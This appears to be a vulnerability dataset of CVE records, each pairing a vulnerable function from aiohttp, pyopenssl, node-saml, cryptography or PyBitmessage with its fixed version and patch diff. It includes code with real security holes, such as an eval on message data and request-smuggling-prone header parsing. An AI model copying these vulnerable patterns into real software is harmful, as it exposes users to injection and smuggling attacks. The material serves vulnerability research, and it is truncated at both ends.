[{"id": "vul_py_342_1", "commit": "96ea36cfd245f7dc10209b01278b5fa2970f360c", "file_path": "src/messagetypes/__init__.py", "start_line": 13, "end_line": 29, "snippet": "def constructObject(data):\n    try:\n        classBase = eval(data[\"\"] + \".\" + data[\"\"].title())\n    except NameError:\n        logger.error(\"Don't know how to handle message type: \\\"%s\\\"\", data[\"\"])\n        return None\n    try:\n        returnObj = classBase()\n        returnObj.decode(data)\n    except KeyError as e:\n        logger.error(\"Missing mandatory key %s\", e)\n        return None\n    except:\n        logger.error(\"classBase fail\", exc_info=True)\n        return None\n    else:\n        return returnObj"}], "fix_func": [{"id": "fix_py_342_1", "commit": "3a8016d31f517775d226aa8b902480f4a3a148a9", "file_path": "src/messagetypes/__init__.py", "start_line": 13, "end_line": 30, "snippet": "def constructObject(data):\n    try:\n        m = import_module(\"messagetypes.\" + data[\"\"])\n        classBase = getattr(m, data[\"\"].title())\n    except (NameError, ImportError):\n        logger.error(\"Don't know how to handle message type: \\\"%s\\\"\", data[\"\"], exc_info=True)\n        return None\n    try:\n        returnObj = classBase()\n        returnObj.decode(data)\n    except KeyError as e:\n        logger.error(\"Missing mandatory key %s\", e)\n        return None\n    except:\n        logger.error(\"classBase fail\", exc_info=True)\n        return None\n    else:\n        return returnObj"}], "vul_patch": "--- a/src/messagetypes/__init__.py\n+++ b/src/messagetypes/__init__.py\n@@ -1,8 +1,9 @@\n def constructObject(data):\n     try:\n-        classBase = eval(data[\"\"] + \".\" + data[\"\"].title())\n-    except NameError:\n-        logger.error(\"Don't know how to handle message type: \\\"%s\\\"\", data[\"\"])\n+        m = import_module(\"messagetypes.\" + data[\"\"])\n+        classBase = getattr(m, data[\"\"].title())\n+    except (NameError, ImportError):\n+        logger.error(\"Don't know how to handle message type: \\\"%s\\\"\", data[\"\"], exc_info=True)\n         return None\n     try:\n         returnObj = classBase()\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-47641", "cve_description": "aiohttp is an asynchronous HTTP client/server framework for asyncio and Python. Affected versions of aiohttp have a security vulnerability regarding the inconsistent interpretation of the http protocol. HTTP/1.1 is a persistent protocol, if both Content-Length(CL) and Transfer-Encoding(TE) header values are present it can lead to incorrect interpretation of two entities that parse the HTTP and we can poison other sockets with this incorrect interpretation. A possible Proof-of-Concept (POC) would be a configuration with a reverse proxy(frontend) that accepts both CL and TE headers and aiohttp as backend. As aiohttp parses anything with chunked, we can pass a chunked123 as TE, the frontend entity will ignore this header and will parse Content-Length. The impact of this vulnerability is that it is possible to bypass any proxy rule, poisoning sockets to other users like passing Authentication Headers, also if it is present an Open Redirect an attacker could combine it to redirect random users to another website and log the request. This vulnerability has been addressed in release 3.8.0 of aiohttp. Users are advised to upgrade. There are no known workarounds for this vulnerability.", "cwe_info": {"CWE-444": {"name": "Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')", "description": "The product acts as an intermediary HTTP agent\n         (such as a proxy or firewall) in the data flow between two\n         entities such as a client and server, but it does not\n         interpret malformed HTTP requests or responses in ways that\n         are consistent with how the messages will be processed by\n         those entities that are at the ultimate destination."}}, "repo": "https://github.com/aio-libs/aiohttp", "patch_url": ["https://github.com/aio-libs/aiohttp/commit/f016f0680e4ace6742b03a70cb0382ce86abe371"], "programing_language": "Python", "vul_func": [{"id": "vul_py_103_1", "commit": "a8f01d7", "file_path": "aiohttp/http_parser.py", "start_line": "456", "end_line": "495", "snippet": "    def parse_headers(\n        self, lines: List[bytes]\n    ) -> Tuple[\n        \"CIMultiDictProxy[str]\", RawHeaders, Optional[bool], Optional[str], bool, bool\n    ]:\n        \"\"\"Parses RFC 5322 headers from a stream.\n\n        Line continuations are supported. Returns list of header name\n        and value pairs. Header name is in upper case.\n        \"\"\"\n        headers, raw_headers = self._headers_parser.parse_headers(lines)\n        close_conn = None\n        encoding = None\n        upgrade = False\n        chunked = False\n\n        # keep-alive\n        conn = headers.get(hdrs.CONNECTION)\n        if conn:\n            v = conn.lower()\n            if v == \"close\":\n                close_conn = True\n            elif v == \"keep-alive\":\n                close_conn = False\n            elif v == \"upgrade\":\n                upgrade = True\n\n        # encoding\n        enc = headers.get(hdrs.CONTENT_ENCODING)\n        if enc:\n            enc = enc.lower()\n            if enc in (\"gzip\", \"deflate\", \"br\"):\n                encoding = enc\n\n        # chunking\n        te = headers.get(hdrs.TRANSFER_ENCODING)\n        if te and \"chunked\" in te.lower():\n            chunked = True\n\n        return (headers, raw_headers, close_conn, encoding, upgrade, chunked)"}], "fix_func": [{"id": "fix_py_103_1", "commit": "f016f06", "file_path": "aiohttp/http_parser.py", "start_line": "457", "end_line": "503", "snippet": "    def parse_headers(\n        self, lines: List[bytes]\n    ) -> Tuple[\n        \"CIMultiDictProxy[str]\", RawHeaders, Optional[bool], Optional[str], bool, bool\n    ]:\n        \"\"\"Parses RFC 5322 headers from a stream.\n\n        Line continuations are supported. Returns list of header name\n        and value pairs. Header name is in upper case.\n        \"\"\"\n        headers, raw_headers = self._headers_parser.parse_headers(lines)\n        close_conn = None\n        encoding = None\n        upgrade = False\n        chunked = False\n\n        # keep-alive\n        conn = headers.get(hdrs.CONNECTION)\n        if conn:\n            v = conn.lower()\n            if v == \"close\":\n                close_conn = True\n            elif v == \"keep-alive\":\n                close_conn = False\n            elif v == \"upgrade\":\n                upgrade = True\n\n        # encoding\n        enc = headers.get(hdrs.CONTENT_ENCODING)\n        if enc:\n            enc = enc.lower()\n            if enc in (\"gzip\", \"deflate\", \"br\"):\n                encoding = enc\n\n        # chunking\n        te = headers.get(hdrs.TRANSFER_ENCODING)\n        if te is not None:\n            te_lower = te.lower()\n            if \"chunked\" in te_lower:\n                chunked = True\n\n            if hdrs.CONTENT_LENGTH in headers:\n                raise BadHttpMessage(\n                    \"Content-Length can't be present with Transfer-Encoding\",\n                )\n\n        return (headers, raw_headers, close_conn, encoding, upgrade, chunked)"}], "vul_patch": "--- a/aiohttp/http_parser.py\n+++ b/aiohttp/http_parser.py\n@@ -34,7 +34,14 @@\n \n         # chunking\n         te = headers.get(hdrs.TRANSFER_ENCODING)\n-        if te and \"chunked\" in te.lower():\n-            chunked = True\n+        if te is not None:\n+            te_lower = te.lower()\n+            if \"chunked\" in te_lower:\n+                chunked = True\n+\n+            if hdrs.CONTENT_LENGTH in headers:\n+                raise BadHttpMessage(\n+                    \"Content-Length can't be present with Transfer-Encoding\",\n+                )\n \n         return (headers, raw_headers, close_conn, encoding, upgrade, chunked)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2018-1000807", "cve_description": "Python Cryptographic Authority pyopenssl version prior to version 17.5.0 contains a CWE-416: Use After Free vulnerability in X509 object handling that can result in Use after free can lead to possible denial of service or remote code execution.. This attack appear to be exploitable via Depends on the calling application and if it retains a reference to the memory.. This vulnerability appears to have been fixed in 17.5.0.", "cwe_info": {"CWE-416": {"name": "Use After Free", "description": "The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory \"belongs\" to the code that operates on the new pointer."}}, "repo": "https://github.com/pyca/pyopenssl", "patch_url": ["https://github.com/pyca/pyopenssl/commit/e73818600065821d588af475b024f4eb518c3509"], "programing_language": "Python", "vul_func": [{"id": "vul_py_426_1", "commit": "f724786", "file_path": "src/OpenSSL/SSL.py", "start_line": 311, "end_line": 336, "snippet": "        def wrapper(ok, store_ctx):\n            cert = X509.__new__(X509)\n            cert._x509 = _lib.X509_STORE_CTX_get_current_cert(store_ctx)\n            error_number = _lib.X509_STORE_CTX_get_error(store_ctx)\n            error_depth = _lib.X509_STORE_CTX_get_error_depth(store_ctx)\n\n            index = _lib.SSL_get_ex_data_X509_STORE_CTX_idx()\n            ssl = _lib.X509_STORE_CTX_get_ex_data(store_ctx, index)\n            connection = Connection._reverse_mapping[ssl]\n\n            try:\n                result = callback(\n                    connection, cert, error_number, error_depth, ok\n                )\n            except Exception as e:\n                self._problems.append(e)\n                return 0\n            else:\n                if result:\n                    _lib.X509_STORE_CTX_set_error(store_ctx, _lib.X509_V_OK)\n                    return 1\n                else:\n                    return 0\n\n        self.callback = _ffi.callback(\n            \"int (*)(int, X509_STORE_CTX *)\", wrapper)"}, {"id": "vul_py_426_2", "commit": "f724786", "file_path": "src/OpenSSL/crypto.py", "start_line": 3006, "end_line": 3087, "snippet": "def load_pkcs12(buffer, passphrase=None):\n    \"\"\"\n    Load a PKCS12 object from a buffer\n\n    :param buffer: The buffer the certificate is stored in\n    :param passphrase: (Optional) The password to decrypt the PKCS12 lump\n    :returns: The PKCS12 object\n    \"\"\"\n    passphrase = _text_to_bytes_and_warn(\"passphrase\", passphrase)\n\n    if isinstance(buffer, _text_type):\n        buffer = buffer.encode(\"ascii\")\n\n    bio = _new_mem_buf(buffer)\n\n    # Use null passphrase if passphrase is None or empty string. With PKCS#12\n    # password based encryption no password and a zero length password are two\n    # different things, but OpenSSL implementation will try both to figure out\n    # which one works.\n    if not passphrase:\n        passphrase = _ffi.NULL\n\n    p12 = _lib.d2i_PKCS12_bio(bio, _ffi.NULL)\n    if p12 == _ffi.NULL:\n        _raise_current_error()\n    p12 = _ffi.gc(p12, _lib.PKCS12_free)\n\n    pkey = _ffi.new(\"EVP_PKEY**\")\n    cert = _ffi.new(\"X509**\")\n    cacerts = _ffi.new(\"Cryptography_STACK_OF_X509**\")\n\n    parse_result = _lib.PKCS12_parse(p12, passphrase, pkey, cert, cacerts)\n    if not parse_result:\n        _raise_current_error()\n\n    cacerts = _ffi.gc(cacerts[0], _lib.sk_X509_free)\n\n    # openssl 1.0.0 sometimes leaves an X509_check_private_key error in the\n    # queue for no particular reason.  This error isn't interesting to anyone\n    # outside this function.  It's not even interesting to us.  Get rid of it.\n    try:\n        _raise_current_error()\n    except Error:\n        pass\n\n    if pkey[0] == _ffi.NULL:\n        pykey = None\n    else:\n        pykey = PKey.__new__(PKey)\n        pykey._pkey = _ffi.gc(pkey[0], _lib.EVP_PKEY_free)\n\n    if cert[0] == _ffi.NULL:\n        pycert = None\n        friendlyname = None\n    else:\n        pycert = X509.__new__(X509)\n        pycert._x509 = _ffi.gc(cert[0], _lib.X509_free)\n\n        friendlyname_length = _ffi.new(\"int*\")\n        friendlyname_buffer = _lib.X509_alias_get0(\n            cert[0], friendlyname_length\n        )\n        friendlyname = _ffi.buffer(\n            friendlyname_buffer, friendlyname_length[0]\n        )[:]\n        if friendlyname_buffer == _ffi.NULL:\n            friendlyname = None\n\n    pycacerts = []\n    for i in range(_lib.sk_X509_num(cacerts)):\n        pycacert = X509.__new__(X509)\n        pycacert._x509 = _lib.sk_X509_value(cacerts, i)\n        pycacerts.append(pycacert)\n    if not pycacerts:\n        pycacerts = None\n\n    pkcs12 = PKCS12.__new__(PKCS12)\n    pkcs12._pkey = pykey\n    pkcs12._cert = pycert\n    pkcs12._cacerts = pycacerts\n    pkcs12._friendlyname = friendlyname\n    return pkcs12"}], "fix_func": [{"id": "fix_py_426_1", "commit": "e73818600065821d588af475b024f4eb518c3509", "file_path": "src/OpenSSL/SSL.py", "start_line": 311, "end_line": 337, "snippet": "        def wrapper(ok, store_ctx):\n            x509 = _lib.X509_STORE_CTX_get_current_cert(store_ctx)\n            _lib.X509_up_ref(x509)\n            cert = X509._from_raw_x509_ptr(x509)\n            error_number = _lib.X509_STORE_CTX_get_error(store_ctx)\n            error_depth = _lib.X509_STORE_CTX_get_error_depth(store_ctx)\n\n            index = _lib.SSL_get_ex_data_X509_STORE_CTX_idx()\n            ssl = _lib.X509_STORE_CTX_get_ex_data(store_ctx, index)\n            connection = Connection._reverse_mapping[ssl]\n\n            try:\n                result = callback(\n                    connection, cert, error_number, error_depth, ok\n                )\n            except Exception as e:\n                self._problems.append(e)\n                return 0\n            else:\n                if result:\n                    _lib.X509_STORE_CTX_set_error(store_ctx, _lib.X509_V_OK)\n                    return 1\n                else:\n                    return 0\n\n        self.callback = _ffi.callback(\n            \"int (*)(int, X509_STORE_CTX *)\", wrapper)"}, {"id": "fix_py_426_2", "commit": "e73818600065821d588af475b024f4eb518c3509", "file_path": "src/OpenSSL/crypto.py", "start_line": 3006, "end_line": 3086, "snippet": "def load_pkcs12(buffer, passphrase=None):\n    \"\"\"\n    Load a PKCS12 object from a buffer\n\n    :param buffer: The buffer the certificate is stored in\n    :param passphrase: (Optional) The password to decrypt the PKCS12 lump\n    :returns: The PKCS12 object\n    \"\"\"\n    passphrase = _text_to_bytes_and_warn(\"passphrase\", passphrase)\n\n    if isinstance(buffer, _text_type):\n        buffer = buffer.encode(\"ascii\")\n\n    bio = _new_mem_buf(buffer)\n\n    # Use null passphrase if passphrase is None or empty string. With PKCS#12\n    # password based encryption no password and a zero length password are two\n    # different things, but OpenSSL implementation will try both to figure out\n    # which one works.\n    if not passphrase:\n        passphrase = _ffi.NULL\n\n    p12 = _lib.d2i_PKCS12_bio(bio, _ffi.NULL)\n    if p12 == _ffi.NULL:\n        _raise_current_error()\n    p12 = _ffi.gc(p12, _lib.PKCS12_free)\n\n    pkey = _ffi.new(\"EVP_PKEY**\")\n    cert = _ffi.new(\"X509**\")\n    cacerts = _ffi.new(\"Cryptography_STACK_OF_X509**\")\n\n    parse_result = _lib.PKCS12_parse(p12, passphrase, pkey, cert, cacerts)\n    if not parse_result:\n        _raise_current_error()\n\n    cacerts = _ffi.gc(cacerts[0], _lib.sk_X509_free)\n\n    # openssl 1.0.0 sometimes leaves an X509_check_private_key error in the\n    # queue for no particular reason.  This error isn't interesting to anyone\n    # outside this function.  It's not even interesting to us.  Get rid of it.\n    try:\n        _raise_current_error()\n    except Error:\n        pass\n\n    if pkey[0] == _ffi.NULL:\n        pykey = None\n    else:\n        pykey = PKey.__new__(PKey)\n        pykey._pkey = _ffi.gc(pkey[0], _lib.EVP_PKEY_free)\n\n    if cert[0] == _ffi.NULL:\n        pycert = None\n        friendlyname = None\n    else:\n        pycert = X509._from_raw_x509_ptr(cert[0])\n\n        friendlyname_length = _ffi.new(\"int*\")\n        friendlyname_buffer = _lib.X509_alias_get0(\n            cert[0], friendlyname_length\n        )\n        friendlyname = _ffi.buffer(\n            friendlyname_buffer, friendlyname_length[0]\n        )[:]\n        if friendlyname_buffer == _ffi.NULL:\n            friendlyname = None\n\n    pycacerts = []\n    for i in range(_lib.sk_X509_num(cacerts)):\n        x509 = _lib.sk_X509_value(cacerts, i)\n        pycacert = X509._from_raw_x509_ptr(x509)\n        pycacerts.append(pycacert)\n    if not pycacerts:\n        pycacerts = None\n\n    pkcs12 = PKCS12.__new__(PKCS12)\n    pkcs12._pkey = pykey\n    pkcs12._cert = pycert\n    pkcs12._cacerts = pycacerts\n    pkcs12._friendlyname = friendlyname\n    return pkcs12"}], "vul_patch": "--- a/src/OpenSSL/SSL.py\n+++ b/src/OpenSSL/SSL.py\n@@ -1,6 +1,7 @@\n         def wrapper(ok, store_ctx):\n-            cert = X509.__new__(X509)\n-            cert._x509 = _lib.X509_STORE_CTX_get_current_cert(store_ctx)\n+            x509 = _lib.X509_STORE_CTX_get_current_cert(store_ctx)\n+            _lib.X509_up_ref(x509)\n+            cert = X509._from_raw_x509_ptr(x509)\n             error_number = _lib.X509_STORE_CTX_get_error(store_ctx)\n             error_depth = _lib.X509_STORE_CTX_get_error_depth(store_ctx)\n \n\n--- a/src/OpenSSL/crypto.py\n+++ b/src/OpenSSL/crypto.py\n@@ -53,8 +53,7 @@\n         pycert = None\n         friendlyname = None\n     else:\n-        pycert = X509.__new__(X509)\n-        pycert._x509 = _ffi.gc(cert[0], _lib.X509_free)\n+        pycert = X509._from_raw_x509_ptr(cert[0])\n \n         friendlyname_length = _ffi.new(\"int*\")\n         friendlyname_buffer = _lib.X509_alias_get0(\n@@ -68,8 +67,8 @@\n \n     pycacerts = []\n     for i in range(_lib.sk_X509_num(cacerts)):\n-        pycacert = X509.__new__(X509)\n-        pycacert._x509 = _lib.sk_X509_value(cacerts, i)\n+        x509 = _lib.sk_X509_value(cacerts, i)\n+        pycacert = X509._from_raw_x509_ptr(x509)\n         pycacerts.append(pycacert)\n     if not pycacerts:\n         pycacerts = None\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-40178", "cve_description": "Node-SAML is a SAML library not dependent on any frameworks that runs in Node. The lack of checking of current timestamp allows a LogoutRequest XML to be reused multiple times even when the current time is past the NotOnOrAfter. This could impact the user where they would be logged out from an expired LogoutRequest. In bigger contexts, if LogoutRequests are sent out in mass to different SPs, this could impact many users on a large scale. This issue was patched in version 4.0.5.\n", "cwe_info": {"CWE-613": {"name": "Insufficient Session Expiration", "description": "According to WASC, \"Insufficient Session Expiration is when a web site permits an attacker to reuse old session credentials or session IDs for authorization.\""}}, "repo": "https://github.com/node-saml/node-saml", "patch_url": ["https://github.com/node-saml/node-saml/commit/045e3b9c54211fdb95f96edf363679845b195cec"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_218_1", "commit": "58495fe", "file_path": "src/saml.ts", "start_line": 1262, "end_line": 1298, "snippet": "  protected async processValidlySignedPostRequestAsync(\n    this: SAML,\n    doc: XMLOutput,\n    dom: Document,\n  ): Promise<{ profile: Profile; loggedOut: boolean }> {\n    const request = doc.LogoutRequest;\n    if (request) {\n      const profile = {} as Profile;\n      if (request.$.ID) {\n        profile.ID = request.$.ID;\n      } else {\n        throw new Error(\"Missing SAML LogoutRequest ID\");\n      }\n      const issuer = request.Issuer;\n      if (issuer && issuer[0]._) {\n        profile.issuer = issuer[0]._;\n      } else {\n        throw new Error(\"Missing SAML issuer\");\n      }\n      const nameID = await getNameIdAsync(dom, this.options.decryptionPvk ?? null);\n      if (nameID.value) {\n        profile.nameID = nameID.value;\n        if (nameID.format) {\n          profile.nameIDFormat = nameID.format;\n        }\n      } else {\n        throw new Error(\"Missing SAML NameID\");\n      }\n      const sessionIndex = request.SessionIndex;\n      if (sessionIndex) {\n        profile.sessionIndex = sessionIndex[0]._;\n      }\n      return { profile, loggedOut: true };\n    } else {\n      throw new Error(\"Unknown SAML request message\");\n    }\n  }"}], "fix_func": [{"id": "fix_js_218_1", "commit": "045e3b9c54211fdb95f96edf363679845b195cec", "file_path": "src/saml.ts", "start_line": 1262, "end_line": 1299, "snippet": "  protected async processValidlySignedPostRequestAsync(\n    this: SAML,\n    doc: XMLOutput,\n    dom: Document,\n  ): Promise<{ profile: Profile; loggedOut: boolean }> {\n    const request = doc.LogoutRequest;\n    this.verifyLogoutRequest(doc);\n    if (request) {\n      const profile = {} as Profile;\n      if (request.$.ID) {\n        profile.ID = request.$.ID;\n      } else {\n        throw new Error(\"Missing SAML LogoutRequest ID\");\n      }\n      const issuer = request.Issuer;\n      if (issuer && issuer[0]._) {\n        profile.issuer = issuer[0]._;\n      } else {\n        throw new Error(\"Missing SAML issuer\");\n      }\n      const nameID = await getNameIdAsync(dom, this.options.decryptionPvk ?? null);\n      if (nameID.value) {\n        profile.nameID = nameID.value;\n        if (nameID.format) {\n          profile.nameIDFormat = nameID.format;\n        }\n      } else {\n        throw new Error(\"Missing SAML NameID\");\n      }\n      const sessionIndex = request.SessionIndex;\n      if (sessionIndex) {\n        profile.sessionIndex = sessionIndex[0]._;\n      }\n      return { profile, loggedOut: true };\n    } else {\n      throw new Error(\"Unknown SAML request message\");\n    }\n  }"}], "vul_patch": "--- a/src/saml.ts\n+++ b/src/saml.ts\n@@ -4,6 +4,7 @@\n     dom: Document,\n   ): Promise<{ profile: Profile; loggedOut: boolean }> {\n     const request = doc.LogoutRequest;\n+    this.verifyLogoutRequest(doc);\n     if (request) {\n       const profile = {} as Profile;\n       if (request.$.ID) {\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-26130", "cve_description": "cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Starting in version 38.0.0 and prior to version 42.0.4, if `pkcs12.serialize_key_and_certificates` is called with both a certificate whose public key did not match the provided private key and an `encryption_algorithm` with `hmac_hash` set (via `PrivateFormat.PKCS12.encryption_builder().hmac_hash(...)`, then a NULL pointer dereference would occur, crashing the Python process. This has been resolved in version 42.0.4, the first version in which a `ValueError` is properly raised.", "cwe_info": {"CWE-476": {"name": "NULL Pointer Dereference", "description": "The product dereferences a pointer that it expects to be valid but is NULL."}}, "repo": "https://github.com/pyca/cryptography", "patch_url": ["https://github.com/pyca/cryptography/commit/97d231672763cdb5959a3b191e692a362f1b9e55"], "programing_language": "Python", "vul_func": [{"id": "vul_py_427_1", "commit": "4398f19", "file_path": "src/cryptography/hazmat/backends/openssl/backend.py", "start_line": 491, "end_line": 647, "snippet": "    def serialize_key_and_certificates_to_pkcs12(\n        self,\n        name: bytes | None,\n        key: PKCS12PrivateKeyTypes | None,\n        cert: x509.Certificate | None,\n        cas: list[_PKCS12CATypes] | None,\n        encryption_algorithm: serialization.KeySerializationEncryption,\n    ) -> bytes:\n        password = None\n        if name is not None:\n            utils._check_bytes(\"name\", name)\n\n        if isinstance(encryption_algorithm, serialization.NoEncryption):\n            nid_cert = -1\n            nid_key = -1\n            pkcs12_iter = 0\n            mac_iter = 0\n            mac_alg = self._ffi.NULL\n        elif isinstance(\n            encryption_algorithm, serialization.BestAvailableEncryption\n        ):\n            # PKCS12 encryption is hopeless trash and can never be fixed.\n            # OpenSSL 3 supports PBESv2, but Libre and Boring do not, so\n            # we use PBESv1 with 3DES on the older paths.\n            if rust_openssl.CRYPTOGRAPHY_OPENSSL_300_OR_GREATER:\n                nid_cert = self._lib.NID_aes_256_cbc\n                nid_key = self._lib.NID_aes_256_cbc\n            else:\n                nid_cert = self._lib.NID_pbe_WithSHA1And3_Key_TripleDES_CBC\n                nid_key = self._lib.NID_pbe_WithSHA1And3_Key_TripleDES_CBC\n            # At least we can set this higher than OpenSSL's default\n            pkcs12_iter = 20000\n            # mac_iter chosen for compatibility reasons, see:\n            # https://www.openssl.org/docs/man1.1.1/man3/PKCS12_create.html\n            # Did we mention how lousy PKCS12 encryption is?\n            mac_iter = 1\n            # MAC algorithm can only be set on OpenSSL 3.0.0+\n            mac_alg = self._ffi.NULL\n            password = encryption_algorithm.password\n        elif (\n            isinstance(\n                encryption_algorithm, serialization._KeySerializationEncryption\n            )\n            and encryption_algorithm._format\n            is serialization.PrivateFormat.PKCS12\n        ):\n            # Default to OpenSSL's defaults. Behavior will vary based on the\n            # version of OpenSSL cryptography is compiled against.\n            nid_cert = 0\n            nid_key = 0\n            # Use the default iters we use in best available\n            pkcs12_iter = 20000\n            # See the Best Available comment for why this is 1\n            mac_iter = 1\n            password = encryption_algorithm.password\n            keycertalg = encryption_algorithm._key_cert_algorithm\n            if keycertalg is PBES.PBESv1SHA1And3KeyTripleDESCBC:\n                nid_cert = self._lib.NID_pbe_WithSHA1And3_Key_TripleDES_CBC\n                nid_key = self._lib.NID_pbe_WithSHA1And3_Key_TripleDES_CBC\n            elif keycertalg is PBES.PBESv2SHA256AndAES256CBC:\n                if not rust_openssl.CRYPTOGRAPHY_OPENSSL_300_OR_GREATER:\n                    raise UnsupportedAlgorithm(\n                        \"PBESv2 is not supported by this version of OpenSSL\"\n                    )\n                nid_cert = self._lib.NID_aes_256_cbc\n                nid_key = self._lib.NID_aes_256_cbc\n            else:\n                assert keycertalg is None\n                # We use OpenSSL's defaults\n\n            if encryption_algorithm._hmac_hash is not None:\n                if not self._lib.Cryptography_HAS_PKCS12_SET_MAC:\n                    raise UnsupportedAlgorithm(\n                        \"Setting MAC algorithm is not supported by this \"\n                        \"version of OpenSSL.\"\n                    )\n                mac_alg = self._evp_md_non_null_from_algorithm(\n                    encryption_algorithm._hmac_hash\n                )\n                self.openssl_assert(mac_alg != self._ffi.NULL)\n            else:\n                mac_alg = self._ffi.NULL\n\n            if encryption_algorithm._kdf_rounds is not None:\n                pkcs12_iter = encryption_algorithm._kdf_rounds\n\n        else:\n            raise ValueError(\"Unsupported key encryption type\")\n\n        if cas is None or len(cas) == 0:\n            sk_x509 = self._ffi.NULL\n        else:\n            sk_x509 = self._lib.sk_X509_new_null()\n            sk_x509 = self._ffi.gc(sk_x509, self._lib.sk_X509_free)\n\n            # This list is to keep the x509 values alive until end of function\n            ossl_cas = []\n            for ca in cas:\n                if isinstance(ca, PKCS12Certificate):\n                    ca_alias = ca.friendly_name\n                    ossl_ca = self._cert2ossl(ca.certificate)\n                    if ca_alias is None:\n                        res = self._lib.X509_alias_set1(\n                            ossl_ca, self._ffi.NULL, -1\n                        )\n                    else:\n                        res = self._lib.X509_alias_set1(\n                            ossl_ca, ca_alias, len(ca_alias)\n                        )\n                    self.openssl_assert(res == 1)\n                else:\n                    ossl_ca = self._cert2ossl(ca)\n                ossl_cas.append(ossl_ca)\n                res = self._lib.sk_X509_push(sk_x509, ossl_ca)\n                backend.openssl_assert(res >= 1)\n\n        with self._zeroed_null_terminated_buf(password) as password_buf:\n            with self._zeroed_null_terminated_buf(name) as name_buf:\n                ossl_cert = self._cert2ossl(cert) if cert else self._ffi.NULL\n                ossl_pkey = (\n                    self._key2ossl(key) if key is not None else self._ffi.NULL\n                )\n\n                p12 = self._lib.PKCS12_create(\n                    password_buf,\n                    name_buf,\n                    ossl_pkey,\n                    ossl_cert,\n                    sk_x509,\n                    nid_key,\n                    nid_cert,\n                    pkcs12_iter,\n                    mac_iter,\n                    0,\n                )\n\n            if (\n                self._lib.Cryptography_HAS_PKCS12_SET_MAC\n                and mac_alg != self._ffi.NULL\n            ):\n                self._lib.PKCS12_set_mac(\n                    p12,\n                    password_buf,\n                    -1,\n                    self._ffi.NULL,\n                    0,\n                    mac_iter,\n                    mac_alg,\n                )\n\n        self.openssl_assert(p12 != self._ffi.NULL)\n        p12 = self._ffi.gc(p12, self._lib.PKCS12_free)\n\n        bio = self._create_mem_bio_gc()\n        res = self._lib.i2d_PKCS12_bio(bio, p12)\n        self.openssl_assert(res > 0)\n        return self._read_mem_bio(bio)"}], "fix_func": [{"id": "fix_py_427_1", "commit": "97d231672763cdb5959a3b191e692a362f1b9e55", "file_path": "src/cryptography/hazmat/backends/openssl/backend.py", "start_line": 491, "end_line": 656, "snippet": "    def serialize_key_and_certificates_to_pkcs12(\n        self,\n        name: bytes | None,\n        key: PKCS12PrivateKeyTypes | None,\n        cert: x509.Certificate | None,\n        cas: list[_PKCS12CATypes] | None,\n        encryption_algorithm: serialization.KeySerializationEncryption,\n    ) -> bytes:\n        password = None\n        if name is not None:\n            utils._check_bytes(\"name\", name)\n\n        if isinstance(encryption_algorithm, serialization.NoEncryption):\n            nid_cert = -1\n            nid_key = -1\n            pkcs12_iter = 0\n            mac_iter = 0\n            mac_alg = self._ffi.NULL\n        elif isinstance(\n            encryption_algorithm, serialization.BestAvailableEncryption\n        ):\n            # PKCS12 encryption is hopeless trash and can never be fixed.\n            # OpenSSL 3 supports PBESv2, but Libre and Boring do not, so\n            # we use PBESv1 with 3DES on the older paths.\n            if rust_openssl.CRYPTOGRAPHY_OPENSSL_300_OR_GREATER:\n                nid_cert = self._lib.NID_aes_256_cbc\n                nid_key = self._lib.NID_aes_256_cbc\n            else:\n                nid_cert = self._lib.NID_pbe_WithSHA1And3_Key_TripleDES_CBC\n                nid_key = self._lib.NID_pbe_WithSHA1And3_Key_TripleDES_CBC\n            # At least we can set this higher than OpenSSL's default\n            pkcs12_iter = 20000\n            # mac_iter chosen for compatibility reasons, see:\n            # https://www.openssl.org/docs/man1.1.1/man3/PKCS12_create.html\n            # Did we mention how lousy PKCS12 encryption is?\n            mac_iter = 1\n            # MAC algorithm can only be set on OpenSSL 3.0.0+\n            mac_alg = self._ffi.NULL\n            password = encryption_algorithm.password\n        elif (\n            isinstance(\n                encryption_algorithm, serialization._KeySerializationEncryption\n            )\n            and encryption_algorithm._format\n            is serialization.PrivateFormat.PKCS12\n        ):\n            # Default to OpenSSL's defaults. Behavior will vary based on the\n            # version of OpenSSL cryptography is compiled against.\n            nid_cert = 0\n            nid_key = 0\n            # Use the default iters we use in best available\n            pkcs12_iter = 20000\n            # See the Best Available comment for why this is 1\n            mac_iter = 1\n            password = encryption_algorithm.password\n            keycertalg = encryption_algorithm._key_cert_algorithm\n            if keycertalg is PBES.PBESv1SHA1And3KeyTripleDESCBC:\n                nid_cert = self._lib.NID_pbe_WithSHA1And3_Key_TripleDES_CBC\n                nid_key = self._lib.NID_pbe_WithSHA1And3_Key_TripleDES_CBC\n            elif keycertalg is PBES.PBESv2SHA256AndAES256CBC:\n                if not rust_openssl.CRYPTOGRAPHY_OPENSSL_300_OR_GREATER:\n                    raise UnsupportedAlgorithm(\n                        \"PBESv2 is not supported by this version of OpenSSL\"\n                    )\n                nid_cert = self._lib.NID_aes_256_cbc\n                nid_key = self._lib.NID_aes_256_cbc\n            else:\n                assert keycertalg is None\n                # We use OpenSSL's defaults\n\n            if encryption_algorithm._hmac_hash is not None:\n                if not self._lib.Cryptography_HAS_PKCS12_SET_MAC:\n                    raise UnsupportedAlgorithm(\n                        \"Setting MAC algorithm is not supported by this \"\n                        \"version of OpenSSL.\"\n                    )\n                mac_alg = self._evp_md_non_null_from_algorithm(\n                    encryption_algorithm._hmac_hash\n                )\n                self.openssl_assert(mac_alg != self._ffi.NULL)\n            else:\n                mac_alg = self._ffi.NULL\n\n            if encryption_algorithm._kdf_rounds is not None:\n                pkcs12_iter = encryption_algorithm._kdf_rounds\n\n        else:\n            raise ValueError(\"Unsupported key encryption type\")\n\n        if cas is None or len(cas) == 0:\n            sk_x509 = self._ffi.NULL\n        else:\n            sk_x509 = self._lib.sk_X509_new_null()\n            sk_x509 = self._ffi.gc(sk_x509, self._lib.sk_X509_free)\n\n            # This list is to keep the x509 values alive until end of function\n            ossl_cas = []\n            for ca in cas:\n                if isinstance(ca, PKCS12Certificate):\n                    